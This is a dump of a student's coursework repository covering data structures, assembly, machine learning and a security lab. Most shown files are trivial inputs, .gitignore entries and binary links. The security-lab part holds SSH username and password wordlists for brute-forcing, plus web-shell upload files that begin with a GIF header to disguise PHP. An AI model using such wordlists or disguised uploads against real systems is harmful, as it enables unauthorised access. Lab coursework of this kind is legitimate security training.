├── S7 ├── ML │ ├── .gitignore │ └── Assignment_1 │ │ ├── Q2 │ │ ├── q2.a.py │ │ ├── q2.c.py │ │ ├── q2.b.py │ │ ├── q2.d.py │ │ ├── ML_A1_Q2.pdf │ │ ├── q2.e.py │ │ └── q2.f.py │ │ ├── Q1 │ │ └── ML_A1_Q1.pdf │ │ ├── MLAssignment1.pdf │ │ └── __pycache__ │ │ └── Question2.cpython-39.pyc ├── CS Lab │ ├── Assignment_2 │ │ ├── New file │ │ ├── foo.c~ │ │ ├── ntemp~ │ │ ├── exit.c │ │ ├── foo │ │ ├── pgm │ │ ├── q2 │ │ ├── q3 │ │ ├── a.out │ │ ├── data │ │ ├── exit │ │ ├── temp │ │ ├── testsc │ │ ├── example1 │ │ ├── example2 │ │ ├── example3 │ │ ├── make │ │ ├── nShellCode │ │ ├── q2_temp │ │ ├── q3_temp │ │ ├── shellcode │ │ ├── shellcodeasm │ │ ├── shellcodeasm_2 │ │ ├── ntemp │ │ ├── BufferOverflowLab_CSL_2021_22.pdf │ │ ├── pgm.c │ │ ├── shellcode.c │ │ ├── shellcode.c~ │ │ ├── example1.c │ │ ├── example2.c │ │ ├── example3.c │ │ ├── example3.c~ │ │ ├── q2.c │ │ ├── q2.c~ │ │ ├── Submission │ │ │ ├── q2.c │ │ │ ├── q1_direct.c │ │ │ ├── q1.c │ │ │ ├── q2_direct.c │ │ │ ├── q3.c │ │ │ └── q3_direct.c │ │ ├── shellcodeasm.c │ │ ├── shellcodeasm.c~ │ │ ├── q2_temp.c │ │ ├── shellcodeasm_2.c │ │ ├── shellcodeasm_2.c~ │ │ ├── q2_temp.c~ │ │ ├── testsc.c │ │ ├── testsc.c~ │ │ ├── code.asm │ │ ├── foo.c │ │ ├── data.c │ │ ├── q3.c │ │ ├── temp.c │ │ ├── q3.c~ │ │ ├── newFile.c │ │ ├── q3_temp.c │ │ ├── q3_temp.c~ │ │ ├── example1.s │ │ └── example2.s │ ├── Assignment_5 │ │ ├── temp.txt │ │ ├── Assignment_V_NGFW_CSL_2021_22.pdf │ │ ├── auth_error.html │ │ ├── temp.html │ │ └── portal.html │ ├── Assignment_4 │ │ ├── SSH │ │ │ ├── linux.txt │ │ │ ├── windows.txt │ │ │ ├── names.txt │ │ │ └── pass.txt │ │ ├── Assignment_IV.pdf │ │ ├── FTP │ │ │ ├── linux.txt │ │ │ └── windows.txt │ │ ├── Metasploit │ │ │ ├── samba.txt │ │ │ └── javarmi.txt │ │ └── HTTP │ │ │ ├── linux.txt │ │ │ └── windows.txt │ ├── Assignment_3 │ │ ├── CSP Bypass │ │ │ └── solutions.txt │ │ ├── SQL Injection Blind │ │ │ ├── .gitignore │ │ │ └── solutions.txt │ │ ├── FileUpload │ │ │ ├── simple_shell_l.php │ │ │ ├── simple_shell_h.jpg │ │ │ ├── simple_shell_h.php │ │ │ └── simple_shell_m.php │ │ ├── OWASP__CSL_2021_22_.pdf │ │ ├── Weak Session IDs │ │ │ ├── temp.py │ │ │ └── solutions.txt │ │ ├── BruteForce │ │ │ ├── passwords.txt │ │ │ ├── easy.py │ │ │ ├── medium.py │ │ │ └── high.py │ │ ├── CommandInjection │ │ │ └── solutions.txt │ │ ├── CSRF │ │ │ ├── solutions.txt │ │ │ ├── low.html │ │ │ └── high.html │ │ ├── Insecure Captcha │ │ │ └── solutions.txt │ │ ├── SQL Injection │ │ │ └── solutions.txt │ │ ├── XSS(Reflected) │ │ │ └── solutions.txt │ │ ├── XSS(Stored) │ │ │ └── solutions.txt │ │ ├── XSS(DOM) │ │ │ └── solutions.txt │ │ ├── FileInclusion │ │ │ └── solutions.tx │ │ ├── PHPIDS │ │ │ └── detection.txt │ │ └── ModSecurity │ │ │ └── detection.txt │ └── Assignment_6 │ │ └── Assignment_VI_IDS_IPS_CSL_2021_22.pdf ├── AI │ ├── Assignment_1 │ │ ├── .gitignore │ │ ├── Q1 │ │ │ ├── AI_Q1.pdf │ │ │ └── Output_Q1.txt │ │ ├── Q2 │ │ │ └── AI_Q2.pdf │ │ └── AI-Assignment1.pdf │ └── Assignment_2 │ │ ├── .gitignore │ │ └── pyproject.toml └── WebP │ └── Exercise1.md ├── S6 └── IP-Lab │ ├── README.md │ └── Assignment1 │ ├── images │ ├── cat.jpg │ ├── boat.jpg │ ├── frog.jpg │ ├── fruits.jpg │ ├── head.jpg │ ├── lenna.jpg │ ├── Paolina.jpg │ ├── barbara.jpg │ ├── einstein.jpg │ ├── goldhill.jpg │ ├── mandrill.jpg │ ├── monalisa.jpg │ ├── peppers.jpg │ ├── arctichare.jpg │ └── cameraman.jpg │ └── output │ ├── image1.jpg │ ├── image2.jpg │ ├── image3.jpg │ ├── image4.jpg │ ├── image5.jpg │ ├── image6.jpg │ ├── image7.jpg │ ├── image8.jpg │ ├── image9.jpg │ ├── image10.jpg │ ├── image11.jpg │ ├── image12.jpg │ ├── image13.jpg │ ├── image14.jpg │ └── image15.jpg ├── .gitignore ├── S8 ├── IIS │ ├── .gitignore │ ├── Assignment_IIS_II.pdf │ ├── Submission │ │ ├── Template.pdf │ │ ├── Screenshots │ │ │ ├── ECC.jpg │ │ │ ├── RSA.jpg │ │ │ ├── DS_ECC.jpg │ │ │ ├── DS_RSA.jpg │ │ │ ├── ElGamal.jpg │ │ │ └── DS_ElGamal.jpg │ │ ├── B180341CS_AJAY_Assig2.pdf │ │ ├── Makefile │ │ ├── submission.py │ │ └── Template.md │ ├── Makefile │ ├── t.cpp │ ├── Final │ │ ├── RSA_1024.cpp │ │ ├── q1_a.cpp │ │ └── crypto.h │ ├── crypto.h │ └── Done │ │ ├── crypto.h │ │ ├── RSA_1024.cpp │ │ └── RSA_512.cpp └── Cloud │ ├── t2.py │ ├── vm-server.service │ ├── client.py │ ├── temp.py │ ├── server.py │ ├── clusterClient.py │ ├── monitor.py │ └── t1.py ├── S4 ├── DSA │ ├── 2021 │ │ └── Assignment_1 │ │ │ ├── 1 │ │ │ ├── 2 │ │ │ ├── i2_2 │ │ │ ├── i2 │ │ │ ├── i1 │ │ │ ├── CS2094D_Assignment_1._Updated.pdf │ │ │ └── assg1_1.c │ ├── Assignment_4 │ │ ├── Inputs │ │ │ ├── 1 │ │ │ │ ├── i1_1 │ │ │ │ └── i1_2 │ │ │ ├── 2 │ │ │ │ └── i2 │ │ │ ├── 3 │ │ │ │ └── i3_0 │ │ │ └── 4 │ │ │ │ ├── i4_2 │ │ │ │ ├── i4_1 │ │ │ │ ├── i4_0 │ │ │ │ └── i4_3 │ │ └── Intermediate │ │ │ ├── 1.aos │ │ │ ├── 2.aos │ │ │ ├── 3.aos │ │ │ ├── 4.aos │ │ │ └── 4_0.aos │ ├── Assignment_2 │ │ ├── ASSG2_4.c │ │ └── ASSG2_3.c │ └── Assignment_3 │ │ ├── ASSG3_4.c │ │ └── ASSG3_2.c └── CO │ ├── NASM │ ├── Assignment_3 │ │ ├── 2 │ │ ├── 1.aos │ │ ├── 1.o │ │ ├── 2.aos │ │ ├── 2.o │ │ ├── 3.aos │ │ ├── 3.o │ │ ├── 4.aos │ │ ├── 4.o │ │ ├── 5.aos │ │ ├── 5.o │ │ ├── 6.aos │ │ ├── 6.o │ │ ├── 7.aos │ │ ├── 7.o │ │ ├── 8.aos │ │ ├── 8.o │ │ ├── 9.aos │ │ ├── 9.o │ │ ├── q7.o │ │ ├── q7.aos │ │ ├── Assignment 3.pdf │ │ └── m │ ├── Assignment_4 │ │ ├── 1.aos │ │ ├── 1.o │ │ ├── 10.o │ │ ├── 2.aos │ │ ├── 2.o │ │ ├── 3.aos │ │ ├── 3.o │ │ ├── 4.aos │ │ ├── 4.o │ │ ├── 5.aos │ │ ├── 5.o │ │ ├── 6.aos │ │ ├── 6.o │ │ ├── 7.aos │ │ ├── 7.o │ │ ├── 8.aos │ │ ├── 8.o │ │ ├── 9.aos │ │ ├── 9.o │ │ ├── 10.aos │ │ ├── float.o │ │ ├── .1.asm.swp │ │ ├── Prac │ │ │ ├── 1.aos │ │ │ ├── 1.o │ │ │ ├── 1_0.o │ │ │ ├── 2.aos │ │ │ ├── 2.o │ │ │ ├── 9.aos │ │ │ ├── 9.o │ │ │ ├── 1_0.aos │ │ │ └── 1.asm │ │ ├── float.aos │ │ ├── .float.asm.swp │ │ ├── Assignment 4.pdf │ │ ├── NASM Tutorial.pdf │ │ ├── m │ │ ├── make │ │ ├── template.asm │ │ ├── float.asm │ │ └── int.asm │ └── Assignment_5 │ │ ├── 1.aos │ │ ├── 1.o │ │ ├── 2.aos │ │ ├── 2.o │ │ ├── 3.aos │ │ ├── 3.o │ │ ├── 4.aos │ │ ├── 4.o │ │ ├── 5.aos │ │ ├── 5.o │ │ ├── 6.aos │ │ ├── 6.o │ │ ├── 7.aos │ │ ├── 7.o │ │ ├── 8.aos │ │ ├── 8.o │ │ ├── Assignment 5.pdf │ │ ├── make │ │ ├── 2.asm │ │ ├── Completed │ │ ├── assg5_q2.asm │ │ ├── assg5_q1.asm │ │ └── assg5_q7.asm │ │ ├── 1.asm │ │ └── 7.asm │ └── MIPS │ └── Assignment_I │ ├── Final │ ├── q1.jpg │ ├── q2.jpg │ ├── q3.jpg │ ├── q4.jpg │ └── q5.jpg │ ├── Questions.txt │ ├── q1.s │ ├── q4.s │ ├── q2.s │ └── q3.s ├── S5 ├── OSTheory │ ├── Assignment_3 │ │ ├── Q1 │ │ │ ├── ci │ │ │ ├── st │ │ │ ├── ta │ │ │ ├── q1.png │ │ │ ├── q1_ST.c │ │ │ ├── README.md │ │ │ ├── q1_CI.c │ │ │ └── q1_TA.c │ │ ├── Q3 │ │ │ ├── q3 │ │ │ ├── q3.png │ │ │ ├── README.md │ │ │ └── q3.c │ │ └── Q2 │ │ │ ├── a.out │ │ │ ├── q2.png │ │ │ ├── input │ │ │ └── README.md │ ├── CharacterDriver │ │ ├── a.out │ │ ├── Makefile │ │ ├── test.c │ │ ├── setup.sh │ │ └── README.md │ └── PipeCommunication │ │ ├── Q1 │ │ ├── p1 │ │ ├── p2 │ │ ├── p3 │ │ ├── a.out │ │ ├── Screenshot from 2020-11-04 15-15-06.png │ │ ├── Screenshot from 2020-11-04 15-16-15.png │ │ ├── process_2.c │ │ ├── process_3.c │ │ ├── README.md │ │ └── process_1.c │ │ └── Q2 │ │ ├── p1 │ │ ├── p2 │ │ ├── p3 │ │ ├── Screenshot from 2020-11-04 15-17-33.png │ │ ├── Screenshot from 2020-11-04 15-18-03.png │ │ ├── process_3.c │ │ ├── process_2.c │ │ ├── README.md │ │ └── process_1.c ├── WebP │ ├── Assg3_4_HTML │ │ ├── 1 Monsoon 2021.pdf │ │ ├── 2 Monsoon 2021.pdf │ │ └── Code │ │ │ ├── img │ │ │ └── image1.png │ │ │ ├── q12.html │ │ │ ├── q6.html │ │ │ ├── q10.html │ │ │ ├── q11.html │ │ │ ├── q2.html │ │ │ ├── q3.html │ │ │ ├── q1.html │ │ │ ├── q5.html │ │ │ ├── q8.html │ │ │ ├── q7.html │ │ │ ├── q9.html │ │ │ ├── q4.html │ │ │ ├── q13.html │ │ │ ├── q14.html │ │ │ └── q15.html │ ├── CSS_Exercise │ │ ├── css-exercise.docx │ │ ├── myStyle.css │ │ └── myPage.html │ ├── Assg2-WebServer │ │ ├── httpServer │ │ │ ├── .vscode │ │ │ │ └── settings.json │ │ │ ├── modify.html │ │ │ ├── page2.html │ │ │ ├── index.html │ │ │ └── server.py │ │ ├── CS4042D Web Programming Assignment 1 Question Monsoon 2021.pdf │ │ └── Readme.txt │ ├── HTML_FORMS_EXERCISE │ │ ├── Code │ │ │ ├── img │ │ │ │ └── logo_nitc.png │ │ │ ├── main.html │ │ │ ├── right.html │ │ │ ├── left.html │ │ │ └── top.html │ │ └── EXERCISE MONSOON 2021.docx │ └── JavaScript_ClassroomASSG │ │ ├── WebPQuestions.pdf │ │ └── Code │ │ ├── index.html │ │ └── function.js └── NTC │ ├── B180341CS_AJAY │ ├── B180341CS_AJAY.rar │ ├── B180341CS_AJAY_1_i.jpg │ ├── B180341CS_AJAY_2_i.jpg │ ├── B180341CS_AJAY_3_i.jpg │ ├── B180341CS_AJAY_4_i.jpg │ ├── B180341CS_AJAY_5_i.jpg │ ├── B180341CS_AJAY_6_i.jpg │ ├── B180341CS_AJAY_1_ii.jpg │ ├── B180341CS_AJAY_2_ii.jpg │ ├── B180341CS_AJAY_3_ii.jpg │ ├── B180341CS_AJAY_4_ii.jpg │ ├── B180341CS_AJAY_5_ii.jpg │ ├── B180341CS_AJAY_6_ii.jpg │ └── B180341CS_AJAY_6_iii.jpg │ ├── .ipynb_checkpoints │ ├── Untitled-checkpoint.ipynb │ └── FASTEXP-checkpoint.ipynb │ └── FASTEXP.ipynb └── README.md /S7/ML/.gitignore: -------------------------------------------------------------------------------- 1 | *.zip -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/New file: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/foo.c~: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/ntemp~: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_5/temp.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S6/IP-Lab/README.md: -------------------------------------------------------------------------------- 1 | ## S5 IP Lab 2 | -------------------------------------------------------------------------------- /S7/AI/Assignment_1/.gitignore: -------------------------------------------------------------------------------- 1 | *.zip -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/SSH/linux.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/SSH/windows.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.zip 2 | .ipynb_checkpoints -------------------------------------------------------------------------------- /S7/AI/Assignment_2/.gitignore: -------------------------------------------------------------------------------- 1 | mnist_data/* -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSP Bypass/solutions.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S8/IIS/.gitignore: -------------------------------------------------------------------------------- 1 | *.out 2 | t 3 | temp 4 | test -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/i2_2: -------------------------------------------------------------------------------- 1 | (4(3(5()())(6()()))(9()())) 2 | 6 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/SQL Injection Blind/.gitignore: -------------------------------------------------------------------------------- 1 | sqlmap-dev -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/i2: -------------------------------------------------------------------------------- 1 | (4(3(5()())(6()()))(9(1()())(8()()))) 2 | 6 -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_2: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | extr 4 | stop 5 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/2/i2: -------------------------------------------------------------------------------- 1 | 25 2 | 18 3 | 34 4 | 30 5 | 36 6 | 28 7 | 29 8 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_1: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | insr 2 20 4 | extr 5 | stop 6 | -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/q2.a.py: -------------------------------------------------------------------------------- 1 | from Question2 import * 2 | 3 | classifyWithFeatures(1) -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/i1: -------------------------------------------------------------------------------- 1 | i 4 2 | i 3 3 | i 9 4 | i 5 5 | i 6 6 | i 1 7 | i 8 8 | p 9 | e -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/exit.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void main() { 4 | exit(0); 5 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_l.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/SSH/names.txt: -------------------------------------------------------------------------------- 1 | ajay 2 | msfadmin 3 | hello 4 | User 5 | admin 6 | user -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/q2.c.py: -------------------------------------------------------------------------------- 1 | from Question2 import * 2 | 3 | classifyWithFeaturesWithError(2) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/SSH/pass.txt: -------------------------------------------------------------------------------- 1 | ajay 2 | world 3 | hello 4 | admin 5 | msfadmin 6 | password -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/q2.b.py: -------------------------------------------------------------------------------- 1 | from Question2 import * 2 | 3 | classifyWithFeaturesWithError(1) -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/q2.d.py: -------------------------------------------------------------------------------- 1 | from Question2 import * 2 | 3 | classifyWithFeaturesWithError(3) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_h.jpg: -------------------------------------------------------------------------------- 1 | GIF98 2 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_h.php: -------------------------------------------------------------------------------- 1 | GIF98 2 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/2 -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/2021/Assignment_1/1 -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/2021/Assignment_1/2 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/foo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/foo -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/pgm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/pgm -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/q2 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/q3 -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/3.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/3.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/4.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/4.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/4.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/5.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/5.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/5.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/5.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/6.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/6.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/6.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/6.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/8.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/8.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/8.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/8.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/9.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/9.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/9.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/9.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/q7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/q7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/10.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/10.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/3.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/3.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/4.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/4.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/4.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/5.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/5.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/5.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/5.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/6.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/6.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/6.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/6.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/8.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/8.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/8.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/8.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/9.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/9.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/9.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/9.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/3.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/3.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/4.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/4.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/4.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/5.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/5.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/5.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/5.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/6.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/6.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/6.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/6.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/8.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/8.aos 